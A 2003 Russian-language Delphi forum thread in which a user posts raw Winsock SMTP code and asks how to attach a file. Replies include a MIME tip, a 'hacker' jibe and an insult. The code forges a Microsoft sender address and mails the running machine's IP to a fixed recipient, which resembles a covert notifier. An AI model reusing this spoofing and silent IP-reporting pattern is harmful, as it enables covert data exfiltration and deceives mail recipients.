| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL | | Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

	« предыдущая ветвь | форум | следующая ветвь »

e-mail [D6]

kolerkow ©   (2003-01-09 23:50:00) 

привет господа.
подскажите как сделать аттач.
вот кусок кода
......
//Коннектимся с серваком
addr.sin_family := AF_INET;
addr.sin_port := htons(25);
if (connect(s, addr,sizeof(addr))) =0 then break;
end;
end
else
begin
addr.sin_family := AF_INET;
addr.sin_port := htons(25);
addr.sin_addr.S_addr:=iaddr;
end;
if (connect(s, addr,sizeof(addr))) >0 then exit;
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then exit;
s1:=buf;
if pos("220", s1) <=0 then exit;
buf:="HELO SERVER"#13#10;
sender("HELO SERVER"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
sender("MAIL FROM: <billgates@microsoft.com>"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
adress:="RCPT TO: <"+StrPas(PChar(myusr))+">"+#13#10;
sender(adress);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("25", s1) <=0 then goto ex ;
sender("DATA"#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR ) then goto ex ;
s1:=buf;
if pos("354", s1) <=0 then goto ex ;
sender("From: <bill@maicrosoft.com>"#13#10);
adress:="To: <"+StrPas(PChar(myusr))+">"+#13#10;
sender(adress);
sender(""#13#10);
sender("alexa"#13#10);
sender("MAIN IP IS: "+MainIP+#13#10);
sender(#13#10"."#13#10);
if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex ;
s1:=buf;
if pos("250", s1) <=0 then goto ex ;
sender("QUIT"#13#10);
....

---

Polevi   (2003-01-11 12:28:00) [1]

хакер

---

Rouse_   (2003-01-11 00:04:00) [2]

> Ondatra (10.01.03 23:35)
А что, у психов амнистия?

> kolerkow (09.01.03 23:50)
Для начала конвертируем в MIME = получаем обычный текстовый файл и пересылаем построчно

Желаю успехов

ЗЫ: gotoне является хорошим стилем программирования

---

Ondatra   (2003-01-10 23:35:00) [3]

Иди ты нахер

---

Наверх